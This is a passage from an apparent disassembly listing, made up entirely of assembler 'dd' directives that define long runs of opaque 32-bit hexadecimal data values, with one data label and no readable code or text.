		dd 0DC003B92h, 2326F48Fh, 0FA5B1134h, 0C1D300E9h, 2F9F4CA8h
		dd 78001598h, 0C0B5FBBFh, 4C080229h, 0A4002C3Dh, 0AE82CFDBh
		dd 0A73A2296h, 37558052h, 101756CEh, 7D773E21h,	0B37B7380h
		dd 3395FD70h, 0B8F1AB07h, 0C9A39BEBh, 2F28E841h, 59542465h
		dd 173500C3h, 0BB2E7F70h, 0F92DDD00h, 3CCD4A9Eh, 0B3DB053Fh
		dd 874871EAh, 664252DEh, 5A42BE0h, 0BD9C0F00h, 56A9D9CDh
		dd 986401FBh, 0C3A1719Dh, 0F71D2FE5h, 9E2E7A40h, 1EEBE155h
		dd 4161528Bh, 14034977h, 27BC40BDh, 0A008943h, 48B4EF1Ch
		dd 0BEAD0Fh, 55E38F33h,	16D280Bh, 38C5B67Bh, 0D8402145h
		dd 0B2437C91h, 45B7139h, 1C8CA24Ah, 220EC051h, 0A100DB0Bh
		dd 39F2D453h, 4837DFh, 918EFF50h, 0ED7CD592h, 0A725641Eh
		dd 0E0B2CA0Eh, 400AF1FDh, 602F07B6h, 0D03123FAh, 457C5157h
		dd 6E6FA803h, 0E20E1D2Bh, 4E94808Ch, 1BF41A4h, 94FEDB01h
		dd 0D86C9190h, 1E029C23h, 0ABC348F8h, 573CC0C8h, 1B79E0h
		dd 11EEF7C6h, 0E389B3FCh, 47F8FD00h, 93B1CCD8h,	86600FFh
		dd 45C40121h, 293ED04Ch, 50B48EFCh, 797EC09Ah, 1F936E91h
		dd 38DA7510h, 0BAD33E04h, 81608182h, 32C202Ch, 156B2200h
		dd 6409DD67h, 0CAA100C4h, 0E8DE6ABCh, 98000C63h, 0C066E980h
		dd 9D2A9Ah, 0C7B2D092h
		dd 91186DADh, 5221F500h, 604F8C6Eh, 140F4ECh, 6F85698Bh
		dd 0F0B4A5D4h, 0F6604E68h, 9B2C896Ah, 6AAC3CEFh, 7C491A85h
		dd 46F0402Eh, 6974F847h, 3B0ADE01h, 29269A02h, 92605440h
		dd 0A9E201h, 0FE79D6DAh, 0CC19D06Bh, 0EF12C900h, 4CC82859h
		dd 0B0CA00F6h, 4A699AE0h, 0C500FF91h, 0A0893340h, 0F0F95Ch
		dd 0F5D7549h, 23BBBC03h, 0F4FA3Ah, 0DEEA07AEh, 1F5E0D3h
		dd 54386F84h, 0C0AD855Bh, 0B0263E7Dh, 6C800094h, 12EED27h
		dd 0A0CCE46Bh, 0C7FB93h, 0EE4F4BB2h, 0A0AD0C75h, 0DE1DC400h
		dd 74A3A17Dh, 0B930008Dh, 0CEFC593Ch, 0E700423Eh, 240137E9h
		dd 1DACFEB1h, 40B75084h, 170EA610h, 5A00D5F7h, 8B499B4Bh
		dd 12784EEDh, 3D8A53h, 3F366167h, 0CE0F2785h, 4F0ED793h
		dd 0DF182280h, 987C07Bh, 0D3EA0003h, 0C2077EA8h, 1C003AE1h
		dd 7DF47678h, 5D03410h,	4064A289h, 0AF14C0AAh, 933D3031h
		dd 3ADD8045h, 64232E3Bh, 3D8A76FCh, 0EC000FC2h,	0CA142BA3h
		dd 9300DD20h, 0EFF180B7h, 2633728Dh, 0D68FC0h, 85D6FECBh
		dd 443AD56Eh, 9609804Ah, 0C7733FFBh, 6FD8002Dh,	43A13990h
		dd 8100E38Bh, 55DBEE10h, 3FC2BFBh, 4B77277Eh, 47A0D0B0h
		dd 620EAC22h, 808BB371h, 0E6731553h, 274C00BDh,	0C2773B3Dh
		dd 1100745Bh, 4DC8B816h, 12F7C7h, 10A381C3h, 605FEF2Dh
		dd 620B6300h, 0D02F41F4h, 7027675h, 3D8B5B5Dh, 1337B3BCh
		dd 0D75A90B8h, 5553305h, 0FC405CD3h, 0AC34DDEh,	0A8860014h
		dd 45651B18h, 5D78CAAAh, 25DDD400h, 4EE4B75Fh, 0BA8F0097h
		dd 0E02FB543h, 8A393606h, 9FEF0074h, 0D67BB9A2h, 65120076h
		dd 0C84DF489h, 90A0081Dh, 0D552215Dh, 227801ACh, 0D4A7F279h
		dd 0F2254AF4h, 98FDFC41h, 50731E70h, 0DD728E1Bh, 6283C700h
		dd 0CF0794E0h, 5D95A855h, 0BD10602Eh, 0EEF0FD6h, 3B7E49F8h
		dd 27003FABh, 900DC65Bh, 0EC682128h, 35101804h,	0C0C0A143h
		dd 359DE4Ah, 0E7AFD630h, 49C0371Ch, 9F0EC256h, 0C1C4290Fh
		dd 5CA6BAC1h, 0BF8AD440h, 0C34701E9h, 36922E59h, 211087BCh
		dd 6DE03CACh, 0E45690F4h, 5980781h, 202239E8h, 84E6F623h
		dd 94951900h, 8A2DBF5Bh, 71FC3Ah, 0B7D541EEh, 1FE647BDh
		dd 37BE3F00h, 2BF16F95h, 38F90398h, 33F7642Dh, 3906188Eh
		dd 56B260B1h, 6B840048h, 18DF527Bh, 131F2BF9h, 0F7007F38h
		dd 33E6FFF1h, 0DC9C04C5h, 80454B8Ch, 6C03B1A0h,	0FEC8F500h
		dd 54B299E1h, 79C5A016h, 3D2E00ECh, 9D415180h, 0C701BE55h
		dd 0C9B257D7h, 13E872C6h, 0D8E026BCh, 0ADDF03D8h, 31A84F7Bh
		dd 0FF00F751h, 0A8CA10D9h, 0F04321F9h, 74C9008Ch, 0AF9B364Bh
		dd 0FC00EBFBh, 835FB13Bh, 4E2ECAh, 0C91D981h, 38090336h
		dd 2301B873h, 7920FBABh, 0A8605706h, 0FCA4017Eh, 8DEEA892h
		dd 466560FEh, 0CF0538h,	512C6C79h, 30D42A3Ch, 27E29B11h
		dd 0B500C888h, 0D27365FEh, 0E1A6FDh, 0BB18C0C7h, 87764736h
		dd 3417F324h, 59B5A503h, 1E79C006h, 847099h, 182C1DDDh
		dd 7513EBC3h, 7DB5CA3Eh, 3E07C17Ah, 0B1D57A53h,	701C00F9h
		dd 417D06h, 50C41D52h, 0CBE01B33h, 3D98D513h, 0F11296BCh
		dd 1DB44047h, 370343DBh, 0E9D7790Ch, 69182Bh, 0B9B0EBBCh
		dd 0F75A26ACh, 0FF723Eh, 14C82D03h, 5079483Ch, 307B18E2h
		dd 6FC1EBB5h, 41D9442h,	37036260h, 986C38A7h, 99CC75h
		dd 5CE18BEEh, 9CA106ECh, 7EE77300h, 0DC78EB7Fh,	2F480036h
		dd 0C31144FEh, 827D6943h, 3E587E52h, 540D00F3h,	0AFA418E4h
		dd 29A11805h, 383F2145h, 0C0534305h, 4CD0F9ABh,	16E31BD9h
		dd 1B60BF0h, 0C13022ECh, 2B83F057h, 980AA500h, 0FBA090CEh
		dd 6C353F9Ah, 0A8CD4100h, 0B7996589h, 78F55900h, 3616A3F4h
		dd 0AF6C0022h, 0D867B3EEh, 75001765h, 5294266Eh, 0F707E9h
		dd 2ECD4E5Dh, 5CABA940h, 0B400787Ah, 484276A0h,	483938C2h
		dd 47007895h, 2D55FC75h, 0B33B0B86h, 87E61212h,	67815D00h
		dd 0D552C0h, 43255B4Dh,	0D0C7214Bh, 76E1971Eh, 1C075E96h
		dd 0E38DCh, 47D76D1Ch, 7AB300A8h, 890645Ah, 70A8D1Eh, 88222CB2h
		dd 16145607h, 809577D0h, 6A790Eh, 0F19CA074h, 93989D09h
		dd 885B6109h, 405800FDh, 25ABEAF4h, 0D81517BCh,	0D9500423h
		dd 6011C2E2h, 0CC805913h, 0ECD4A43Dh, 26043F00h, 0D6E9B20Ch
		dd 0E4E750FFh, 63C13260h, 4E10B829h, 23B340D8h,	44EDE644h
		dd 0CD445C45h, 17DE4412h, 8AA00E84h, 0F609D73h,	0FE1946BFh
		dd 7B293000h, 0A251A47Ch, 8CFC00E5h, 0BCE3964Ah, 3C070305h
		dd 0DF928F08h, 0CC9075C4h, 69E6A5h, 31EFEC88h, 87A37B41h
		dd 79562503h, 0BF4A3463h, 0A7BC23B0h, 0F580A845h, 83080025h
		dd 4DAD5CF2h, 57003601h, 181F22C2h, 90F888Bh, 0AF29C03Eh
		dd 944EB780h, 39F47F68h, 1B1E1113h, 0A0A69000h,	0D05EF0h
		dd 57577E1h, 7018CBFCh,	80917D00h, 26669D8Ch, 64C4580Bh
		dd 2D0408Eh, 0F93D67F0h, 60F0C204h, 77D4C9h, 10583669h
		dd 34E32EFBh, 26A2A00h,	4F410629h, 3F8E3F0Ch, 13AE6603h
		dd 0D0BF9EE3h, 0A6AA4232h, 8ED5BD00h, 0CB93F905h, 1C8C176Ah
		dd 4BD000F8h, 3BEF655Dh, 8D62CA00h, 66DD16FFh, 1005095Bh
		dd 0C008176h, 6E3D4495h, 8BB95201h, 0FC464D5Fh,	3911E2DCh
		dd 0B8606F1Ch, 74079758h, 0BC80D40h, 48DF5671h,	55F84483h
		dd 0BF7D43B8h, 0D467C60Fh, 6A6E63B1h, 0F319B809h, 0B88B0027h
		dd 0E958ECA2h, 0E1001074h, 4BC7A74Dh, 18BA3Ch, 0FBEA7628h
		dd 0A6CBF053h, 21FF3E4h, 0D5C770C7h, 0F1C0E969h, 0BE1FC4h
		dd 0EDEF9864h, 0CC745C35h, 9A270F00h, 2A7ECE9Bh, 85AB0099h
		dd 55E6FBD3h, 111CB842h, 6680BE4Ah, 151C5A60h, 982C03A6h
		dd 0A1D53194h, 77FCE6F8h, 0B49E1626h, 36125580h, 939D85h
		dd 4A1978D9h, 0CAA98923h, 0D47EA001h, 8EE58D6Dh, 0C805E4h
		dd 0A580F431h, 8351089Ch, 80B9F03Bh, 32132E69h,	404CB99h
		dd 543F8239h, 0EAEBC07Bh, 0A090937Ah, 0A02D8C00h, 11E6ADE4h
		dd 0BDD5000Bh, 37322F86h, 0D2E380Fh, 490036AFh,	0DDBE4814h
		dd 3C47E2D5h, 17805984h, 0A0016E99h, 6500D7B7h,	0C341D70h
		dd 0C69F50h, 0DF909CE8h, 0EFE10594h, 5C097800h,	1E761CC0h
		dd 931803ADh, 447E5A6h,	0AEE00883h, 3907E982h, 5CC7B9F5h
		dd 444C6430h, 603A0073h, 81065A32h, 76777880h, 6B3BDF00h
		dd 2F1AFE30h, 9DAB00B2h, 0C4B777A8h, 0B5458FFh,	0A70E5DA8h
		dd 0E0DF3D48h, 423E6B16h, 92F9003Bh, 3976B8C2h,	0DD018C85h
		dd 0A13AE326h, 20F04CC7h, 0FA0799Dh, 33DC379Ah,	83ABCFC5h
		dd 0EADFC859h, 6A2C00A8h, 14B595ACh, 0ADF02D00h, 0A3C661C7h
		dd 72D3F60Dh, 224C0043h, 0D6BD66ACh, 0E701CB54h, 0EDC6E3Ah
		dd 0F02ABA53h, 0A3008221h, 8ED1ED80h, 1E84C829h, 407DDFA6h
		dd 0DAB3D7BFh, 39000F03h, 938D800Dh, 1412E58Ch,	87F2044Eh
		dd 0C0595C00h, 2E4C560Eh, 72FC7D14h, 0B9BC12C0h, 4BB7B443h
		dd 0D30CA84Fh, 0D6853B34h, 0EB6AB381h, 0EC920B3Ch, 0CCE06470h
		dd 4EB10E00h, 0C4FE85AEh, 844F0099h, 0CF351E50h, 0BE056314h
		dd 12C6E2AAh, 28AEA380h, 0EB510057h, 3CCF3682h,	6A003E02h
		dd 0B73A42C5h, 4487BFh,	0E55B5F97h, 0C729DB08h,	0CBA4EC00h
		dd 92F099B1h, 144EB80Eh, 0D8F4B58Fh, 7FEE7707h,	0A3ECA076h
		dd 560EA10Ch, 0A56035h,	0FAE34686h, 0A4AA004Fh,	5A2DDAFBh
		dd 3700F96Ah
		dd 3429F0C2h, 0EDDF69Eh, 2547F8E1h, 914DA660h, 78CB2317h
		dd 77718748h, 0D8D630F0h, 60D20238h, 318E8A0Dh,	0FD018AC0h
		dd 4939E801h, 3537B4C0h, 275360EAh, 0E8FC5A6Ch,	875A00C4h
		dd 0C881ED71h, 0F4DE008Dh, 4A637D3h, 0FF0B2772h, 805EEE55h
		dd 0B0EAF642h, 8690185h, 0A5063B2h, 33CFE40Bh, 0B974A60Fh
		dd 2D4BE1F0h, 33FBC3h, 0F3862BE8h, 1EBE5824h, 80C09B76h
		dd 5528D57Ah, 8900BDD1h, 4B41B4D2h, 33847EBh, 0CCC291E1h
		dd 1380F275h, 3726F6DCh, 0D000CCABh, 5D053CF9h,	4F7E0F66h
		dd 18208826h, 947CD591h, 43542C00h, 0FEDA6EA6h,	0AA723Fh
		dd 2FF3347Bh, 0D62997CBh, 91001C98h, 4F90DC32h,	1B243C2h
		dd 1D897FFEh, 0F0BC38FFh, 720405D9h, 0DEB931B6h, 76224A80h
		dd 705301F8h, 699D9087h, 6E7BD4A8h, 9A30200h, 0F04C30E4h
		dd 0A7C1723h, 0FEA10081h, 0B7B3B4E3h, 0F9BE7001h, 0C6945F3h
		dd 4A2760h, 5F40B6Dh, 70F3C12h,	29A27903h, 0E8728EC1h
		dd 3FFD8482h, 0B08793B8h, 30A438FAh, 471EA961h,	9729A63Ah
		dd 9F000E25h, 0DA6AB1ACh, 7ECA00AAh, 8A602611h,	0E400B0FEh
		dd 3FC8C4A3h, 93EA717h,	0D2434AFDh, 0B5CA400h, 0E100F12Dh
		dd 0C8609052h, 223AA2h,	3EED1A2Ch, 0D6660151h, 0A3B73Fh
		dd 2DED26Dh, 842A88h, 0B84F725Ah, 679BE398h, 527BC8F4h
		dd 3AD43900h, 90A4810Ch, 33B70044h, 0C171D9CBh,	0CD01F5B9h
		dd 59A9BC51h, 688E1D53h, 0EC09DC5Eh, 98B98580h,	889C52E6h
		dd 9A21FD87h, 7C41FE11h, 70C054D8h, 0AC330057h,	7E40D682h
		dd 0AE0359AFh, 3FFCF026h, 0D99B002h, 2CAB00D1h,	5ADE54EEh
		dd 93003210h, 2D7C583Bh, 0D2CB71h, 50793E4Dh, 5DE08CFFh
		dd 0C96DB300h, 7E05E3B2h, 1CC17A44h, 40DB7360h,	0F853EB13h
		dd 0FB00F251h, 0D7F51ECFh, 8856D5h, 5CC883A6h, 70EC868Bh
		dd 0E72D8100h, 3FFB0A1Fh, 654338CBh, 29189500h,	0D9118BC6h
		dd 5A164900h, 90340A81h, 0E9801DB9h, 0D0AA0617h, 5400D877h
		dd 0AC060566h, 233F71h,	2A41BEC2h, 0AE8C1C09h, 2907B8B4h
		dd 52C02F1Eh, 72195BFh,	0A0CFBB4Eh, 2C9C13CDh, 991AD0D7h
		dd 8A01588Ch, 0F41DDDC8h, 0F7FCC15Fh, 681B008Dh, 0C7BD779Eh
		dd 51986CEFh, 70DC9048h, 0C45D4E28h, 0AA0EA574h, 0C56E5C83h
		dd 38811EB1h, 0D1D44A7Ah, 82920275h, 0A367B262h, 0EAAB0E60h
		dd 0E3434B00h, 0C104A959h, 0C69A0020h, 0DAE6C3AAh, 0EFEC946Eh
		dd 7DBD03Bh, 8A26D622h,	6BBDC600h, 2FAC00FFh, 79920504h
		dd 9F015D13h, 0BB522D53h, 0C02B423Ch, 0D4BFEC0Eh, 0ACC8EE00h
		dd 1CC6D0DAh, 63850F0Dh, 2D80F5B3h, 48DE451h, 7C0E1473h
		dd 8005C3A9h, 0AF2A4548h, 11EE0B76h, 88021F9h, 5123BF85h
		dd 8FC93B12h, 1330EC21h, 4AA3CE4h, 5425EFFFh, 69C88335h
		dd 0A9CA39C8h, 0E23DE804h, 60B46EACh, 36C013EEh, 0F0A88A21h
		dd 72E33C5Fh, 42889C78h, 4A11E848h, 83A5FA13h, 181F720Bh
		dd 371D2A61h, 29CD0301h, 99707AB3h, 5039005Bh, 0F5A69B22h
		dd 0ECE86308h, 1FBCDD38h, 6FC0F125h, 0E1915DA8h, 0A4A52C90h
		dd 339C004Dh, 0F3752DADh, 83485C6Fh, 0A74804h, 0A6BB7D21h
		dd 0DB3438BAh, 32633C18h, 72399030h, 29AC6041h,	0BC5CE70Bh
		dd 0CE3AA57Dh, 0C014F407h, 50E2CDh, 435B62D9h, 0E0FEBEh
		dd 0C42282CCh, 505ED4EAh, 5AB2EC00h, 700E6BDEh,	151C008Dh
		dd 4B553017h, 43007535h, 0E1AEAD2Eh, 7EB4A305h,	2CBF0064h
		dd 37865B7Ah, 0C801CBEBh, 9D5ED601h, 0F930B1DBh, 0A180E559h
		dd 0BF6A5B78h, 0CC0ECED9h, 0E0F97157h, 442062C0h, 0DA28061Dh
		dd 31FD5961h, 0B2FE1F07h, 0DA6BA2B6h, 4DD5054Fh, 40855CB8h
		dd 6E48DF94h, 28603C47h, 4206110h, 0D77E0124h, 0E8E7EA7Bh
		dd 0F2A0C78Eh, 84A9A8ABh, 1C1520D5h, 0A1A21800h, 7939E335h
		dd 0E444280Dh, 0F3DB789Ch, 0CA2F5180h, 0FC82ADC0h, 79840230h
		dd 0BADF60h, 0A15693E6h, 0CE4F043Fh, 0F9181D79h, 569B4ABh
		dd 942700B6h, 9D591F6Eh, 0C001F009h, 4FDB4446h,	98C421B2h
		dd 0FFE80693h, 0F8DE2237h, 4E24A003h, 0D0A22049h, 0A1A40Eh
		dd 7ACBAB73h, 0DCA350DEh, 6D895160h, 7B1E3913h,	0C0915846h
		dd 5CD80075h, 3B38C232h, 0A848DBA4h, 40068F00h,	9808B4D1h
		dd 0F4172C2h, 0D60ABDFDh, 755EC0E0h, 0B900ABE7h, 95AF4521h
		dd 0ECCD6A98h, 7A902D3h, 2EDD8F9Fh, 545A8CA1h, 0B6B080A5h
		dd 7D840BC5h, 741D03CDh, 99BBE7B1h, 802D7EB8h, 238FB600h
		dd 6E4D1376h, 509F0004h, 0FB815C44h, 9B1DEF52h,	350037B7h
		dd 6AF4E615h, 27C300A3h, 33BE4E79h, 890653E2h, 0EE707F98h
		dd 18048C11h, 1034DC77h, 0E800406Bh, 0CD5C1CC2h, 129EAA6h
		dd 0D2B48ADBh, 706C7769h, 7A18EE04h, 0A129EFD7h, 214580A7h
		dd 2F886400h, 0D55519AFh, 0AC600022h, 2DC4737Bh, 950048A4h
		dd 0ABB212AAh, 1D6E57h,	9E09C914h, 229CDFB9h, 1787E400h
		dd 5B1925D7h, 0F23CB884h, 0CFFC0032h, 0AF5DE2A9h, 0D000F727h
		dd 702D9815h, 3A54F8Fh,	2447F13Ch, 0FB909344h, 36005159h
		dd 7A2BB181h, 39F3AFAh,	99026711h, 0CDC956CFh, 66804044h
		dd 601CF8E7h, 0AF008547h, 0C4D39354h, 69D009Bh,	0BF4E32C9h
		dd 0E300F192h, 0DF0D108Ch, 0B8715B68h, 0AB250323h, 550FC0FBh
		dd 0E473B9A1h, 380E7B8Ch, 0FA4497h, 0A683E961h,	415E00C7h
		dd 0BB9DCB48h, 2B589B69h, 0E70F00F9h, 22636F90h, 0D9A5006Bh
		dd 3FCE40DCh, 733F32B0h, 0D83C002Dh, 0AD2AC943h, 1B4F0767h
		dd 958C9A27h, 779C097h,	2D384555h, 0E6D30030h, 72640AC3h
		dd 448F006Eh, 60ABEDC7h, 4BB8ECBDh, 0E4E69400h,	4F753E5h
		dd 0A7903F5Dh, 223EDA00h, 0AE5C5934h, 0D081F007h, 6EE05F56h
		dd 158EEDBh, 6C23E004h,	0ECD53CA9h, 0D300B02Ah,	18CFA836h
		dd 7EB1B640h, 52D0EF6h,	8C6006AAh, 47809781h, 85EB513Dh
		dd 3D041538h, 2F49C00h,	0B1B265h, 682CF962h, 0B64A471Bh
		dd 0E1FA2205h, 73802F77h, 3168521h, 14EB4B56h, 22A9CA52h
		dd 196070E5h, 2D255400h, 0A21CA0C4h, 0D8E16051h, 0C666B5A3h
		dd 88E45505h, 95C0DE4Fh, 30C79F6h, 7B0467DFh, 4AD93D24h
		dd 2E64FC37h, 4EF35D00h, 918F5061h, 19AE1F5Eh, 2A4B4946h
		dd 0D8C8E506h, 0D9504E10h, 7ED01700h, 0FA200B87h, 0D4B5B903h
		dd 0CB14E0h, 0D395CC28h, 528DA6C2h, 9767E200h, 0B40DF263h
		dd 2F7C0159h, 4256F584h, 0E8006E8Bh, 3C7F3FBAh,	0AE7700E7h
		dd 836F2B13h, 0FC00DBBEh, 0A5B918CEh, 349C904h,	0A877B293h
		dd 2C015D03h, 0C5097F25h, 0EF0A3C4h, 0FC273811h, 0CFABBA02h
		dd 7240107Ah, 51E58C2h,	32002E53h, 0FA473B6Fh, 0C8780624h
		dd 10E533A9h, 6AA39900h, 0CD52D920h, 0A89B1856h, 0F36FA050h
		dd 4B319F00h, 0CA0732A9h, 1E3F00ABh, 0A0578820h, 8A78E602h
		dd 0DC654100h, 0A32160A9h, 263CFC46h, 3A343793h, 3B362580h
		dd 0F5234338h, 0F2031900h, 94D568B7h, 0FFBE0044h, 96792221h
		dd 5600A37Eh, 8855B163h, 67F6E8h, 2FBCF181h, 0AB4162D0h
		dd 800D7238h, 0F0F34653h, 5EB4C9Bh, 99E76B08h, 4080BB01h
		dd 393D0D34h, 470040ECh, 94C9567Fh, 1D005942h, 0D51274A9h
		dd 7C4FDE86h, 0AA2B00B1h, 464BF191h, 38C04D69h,	0B7335D0Fh
		dd 0A470008Ah, 42675211h, 490B21BCh, 0E0DE1A36h, 2614E2ABh
		dd 0A4CB69h, 0F1855E97h, 0CF000A02h, 7899A473h,	1E71B348h
		dd 40DFA6FAh, 634F8D79h
dword_55FD48	dd 0B7EC4165h, 36CF1800h, 0A9407184h, 9DEB00E6h, 0E0130A1Bh
		dd 45009B82h, 43125C9Ch, 0CA5AB0h, 0BD34BC0Fh, 0CF6283Ah
		dd 0DF7B5D1Eh, 21B62D00h, 36AFB4h, 8F7C4503h, 4FB9F73h
		dd 0EE38FE07h, 0F260CD67h, 1338378h, 889E633Ah,	0F890F86Ch
		dd 6386D93h, 9C8A0057h,	0EB5BB580h, 0D30A017Dh,	311DB4FAh
		dd 0F4F280E6h, 0F6B8ACCCh, 5C800BCh, 3056F86Bh,	61ED4666h
		dd 0C0DDD4EDh, 49778C1Ch, 0B3596F40h, 771FE597h, 1368381Bh
		dd 266AB780h, 5B1A2803h, 5F210B07h, 0DAF09581h,	1F440AF5h
		dd 403FFD1Bh, 9F3743Eh,	0C00323Bh, 6546D34Ah, 0B86C4592h
		dd 0B0B4009Ch, 9D269871h, 31003AF4h, 0F9D9FD5Ch, 3BE822A8h
		dd 0A8E4270h, 0B7E3EA56h, 20E096B0h, 9300063Ah,	0C59498AAh
		dd 7C6AB04h, 782674F9h,	0EB39E8Fh, 0F4E00620h, 0EACE694Dh
		dd 90D9F500h, 3F297B55h, 3337EB4h, 0EEA89AB9h, 203AF007h
		dd 7379008Ch, 3F53D483h, 9FB8395Bh, 296DBC00h, 9BF90FA1h
		dd 1B0095EEh, 0C17E795Dh, 7C0D909h, 0CECA64C3h,	0C6801959h
		dd 0F76D58Fh, 95E30307h, 3571DD2Bh, 0E450CC23h,	775A934h
		dd 41446310h, 70C3C0A8h, 0F0FD30A7h, 96071B86h,	4B932F33h
		dd 0B3D7D667h, 6ACC9BF0h, 26E5009Ah, 0E43E8DD8h, 88A8A984h
		dd 3039FC1h, 3FCCCF71h,	0FB8DA0A1h, 21ED0031h, 609E6B1h
		dd 97008CC2h, 0D9B2BD0Fh, 0CE12EBh, 1A518468h, 9047622Ah
		dd 926B2300h, 0D176DF3Ch, 0E19C0087h, 325D1F89h, 850BEC28h
		dd 335713Ah, 2CE5AE78h,	0DECD11h, 67171A6Fh, 18C3A4EEh
		dd 918289h, 21604A1h, 54E2EDFh,	0F54D031Eh, 2AAF82C3h
		dd 3D500187h, 4E52F13h,	74A02E88h, 0EDEA066Dh, 50A5D6B8h
		dd 0B02C0607h, 0B183881Eh, 0E0587C3Eh, 0AB133051h, 701BD821h
		dd 0E02FF407h, 704C76F1h, 442E0601h, 91906788h,	0EE641800h
		dd 5D1EA03Bh, 1BC80020h, 0A76F2C12h, 71C5BEA3h,	34004F24h
		dd 0F85826B9h, 5DB7005Fh, 0ABB3A9Dh, 0DE001E2Bh, 54A42E43h
		dd 60DA4D8Bh, 0A535D88Fh, 8D006591h, 66E0F170h,	0FAAB521h
		dd 0E1CF96E3h, 0A43DB80h, 267C7853h, 23E60100h,	82620CD2h
		dd 96AB1DDDh, 6C940052h, 0FB5F3DF0h, 29859906h,	0A1B8D0h
		dd 677AE333h, 0E51E1822h, 1B74117Eh, 0FE219F60h, 2EA27AD4h
		dd 86EDAh, 0F7660571h, 0BF0B5DCEh, 80A0726Dh, 53EEC986h
		dd 440C00C0h, 78AFB1BBh, 7500A23Ch, 91503A84h, 0A8E25FD5h
		dd 0ADC26ECh, 0E5700258h, 98919C4h, 462185E0h, 8FC15801h
		dd 2FD0CD65h, 0B99C09C3h, 182793F0h, 0C245F13Eh, 517088AFh
		dd 0C8B42291h, 0D2C2E771h, 0D5CE8558h, 38483828h, 4B0058D7h
		dd 536F227Ah, 2B88350h,	5058C06Ch, 764C8CD3h, 75700A99h
		dd 0DF9128B0h, 0A1242Eh, 0B78C5E42h, 0BB486F16h, 87198040h
		dd 0AB01AFCh, 0A4CE5561h, 3F1830A0h, 0DCF807E5h, 12960906h
		dd 0F102657h, 8180C2EDh, 0C1ABCE80h, 1F77763Ch,	837948F2h
		dd 7D1EC91Eh, 63D8B040h, 0BF3B15h, 65A00995h, 5ED406C7h
		dd 84000C76h, 37165517h, 7D439D62h, 4EEB0173h, 99959A66h
		dd 0E927D4F3h, 46614A00h, 0A3329F37h, 0C2D02670h, 315500F8h
		dd 64DBB51Ch, 50E91100h, 8E65385Ch, 4EF712EDh, 3706AF39h
		dd 52110F01h, 8EA80404h, 10FDA933h, 0C375B0CCh,	0B87960h
		dd 883E081Bh, 0F69764B7h, 2FFB360Bh, 0E76E057Bh, 5AB68380h
		dd 20CE00F0h, 0E6E485EDh, 753C020Eh, 3F508045h,	2760897Bh
		dd 910D001Dh, 0B881BF7Fh, 7A008D1Ah, 492A9D43h,	27C9B7h
		dd 5798BCCEh, 30D3F6FCh, 0A30D3Fh, 0B73EEC17h, 5DF533h
		dd 0A638D775h, 7BA5473h, 6800F798h, 3EC1CF9Ah, 0F79ECBh
		dd 0BD91E999h, 3104791Ch, 4BF39600h, 0F908F278h, 0FF01002Ah
		dd 681B0BA1h, 5900FEBEh, 5AB23893h, 33A75B9h, 0D3FBED30h
		dd 4BC85640h, 0B473A861h, 28E37D00h, 4E2D6997h,	640E0F63h
		dd 4DA0BB0Fh, 0FCC09CE9h, 146F75Ch, 7F24878Eh, 0BB612868h
		dd 0F0667460h, 0B620E708h, 10640027h, 0F98B12F8h, 852415BEh
		dd 6624305Ch, 0AB26A03h, 0FE38013Fh, 0E5DCE834h, 0FC26D99Dh
		dd 7A308E6Eh, 0A86BF0CBh, 0D89C3039h, 465FF711h, 0FF380E00h
		dd 7DB20328h, 0FC8CF0BFh, 0F0F5504Bh, 51963B14h, 0C0702Eh
		dd 6B685A66h, 0A81E7943h, 0D680F0D7h, 64E5160h,	58C86027h
		dd 0EF581998h, 3B902A00h, 8FBE35ACh, 15B902E0h,	478C0F84h
		dd 0A5984844h, 54575E00h, 2C9F76EEh, 0A06900CDh, 2A046399h
		dd 0B40E23E2h, 604208B5h, 8688BF74h, 7C02588Bh,	933CAD00h
		dd 984D949Eh, 45BA6200h, 18340F7Fh, 0AD4C00D0h,	77AEA242h
		dd 0F90035B7h, 238C8966h, 3247031h, 109400Ch, 0A0B89E02h
		dd 0AE0011DDh, 5144BE3Dh, 56C1E4Ah, 5859E2EDh, 0A0B0099Fh
		dd 570F2800h, 0E0BA65Eh, 0EBACA35h, 0DD80C0BAh,	0E8B169B0h
		dd 59B7269Ch, 48B8004Ah, 567F2DD0h, 39052002h, 0A009383Fh
		dd 6BAFED80h, 0E121C21h, 272E00B5h, 5A106CBCh, 6383CA00h
		dd 0D7FDB3C3h, 0B70C00C7h, 917D0BE3h, 0D57216C2h, 1C40B8A8h
		dd 0AE09D200h, 8A37C015h, 0FEE60020h, 0DCF45C69h, 4C000421h
		dd 48833BB4h, 0DAD092h,	0E2A66855h, 0BBEA97AAh,	0A0FC5800h
		dd 5D617395h, 99F8E0h, 464FDD2Dh, 0B1578B2Ah, 69B8EA04h
		dd 4D32B29h, 8CB100FEh,	412A7D31h, 9EFE1174h, 0D70E80C0h
		dd 8ED3CAh, 97665786h, 4F43C018h, 767BE914h, 368102A8h
		dd 49D1EEB0h, 0F7CD033Ch, 4ADD2700h, 0CAC27A00h, 25695CA8h
		dd 0F5FA3CDFh, 38833300h, 6D9F032Ch, 94B548C0h,	7B6AC3Dh
		dd 0B2CA89F7h, 5E1D90FAh, 85039B52h, 5625D9F1h,	635D8868h
		dd 9FE40022h, 3A351E3Eh, 0E0393882h, 0BB8980F5h, 4D72A1Bh
		dd 0F30607A0h, 0E0D08167h, 59AA788Bh, 5B34DC01h, 6EC621E5h
		dd 0CA5C5FCh, 831EF647h, 3D4C5D28h, 9B230002h, 855FFC4h
		dd 35370071h, 0F46E6D4Dh, 5F3A27D1h, 36218048h,	85CF1989h
		dd 93ECE0h, 0D335CA6Ah,	98A3110Dh, 0C5FC9C00h, 5390A4A6h
		dd 5B91004Fh, 70B213DEh, 9700CB99h, 6FBA8DE7h, 354BE9h
		dd 0F219289h, 7423D2AAh, 1834B949h, 84EA3B59h, 0EB6003ACh
		dd 0AA50BFFEh, 5E7F74F0h, 0CCF92F15h, 9E163FB4h, 96041367h
		dd 0C7C0E039h, 0FF5504h, 3517E2F3h, 37997C9h, 0AFC5D300h
		dd 1CD63993h, 347800B7h, 46682F3Eh, 0A803D82Dh,	0C588E518h
		dd 85DDA86Bh, 0DCD91C5Dh, 2DB2C1D5h, 347EDA71h,	1F004F34h
		dd 0FFA9F0A3h, 8B3254h,	2AF76DC5h, 6C4C0B55h, 0D5D86000h
		dd 230A687Bh, 32CF0156h, 0EEBEC1C5h, 3E51CCF5h,	0DD14E100h
		dd 0BBE95CA1h, 91F80080h, 47B9A3FEh, 9524F48Ch,	5701A815h
		dd 0ED22E56h, 0C432C0h,	0FBAE3B2Ch, 0A2436812h,	89CC503h
